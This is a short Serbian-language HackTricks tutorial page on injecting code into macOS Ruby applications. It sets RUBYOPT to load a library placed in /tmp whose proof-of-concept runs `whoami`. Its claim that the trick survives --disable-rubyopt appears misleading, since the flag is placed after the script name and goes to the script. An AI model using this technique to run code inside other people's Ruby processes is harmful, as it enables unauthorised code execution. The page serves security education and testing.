macOS Ruby Applications Injection

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

RUBYOPT

Korišćenjem ove env promenljive moguće je dodati nove parametre u ruby svaki put kada se izvršava. Iako parametar -e ne može biti korišćen za specificiranje ruby koda za izvršavanje, moguće je koristiti parametre -I i -r da se doda nova fascikla u putanju za učitavanje biblioteka i zatim specificirati biblioteku za učitavanje.

Kreirajte biblioteku inject.rb u /tmp:

puts `whoami`

Kreirajte bilo gde Ruby skriptu kao:

puts 'Hello, World!'

Zatim napravite proizvoljni ruby skript koji ga učitava sa:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Zanimljiva činjenica, funkcioniše čak i sa parametrom --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks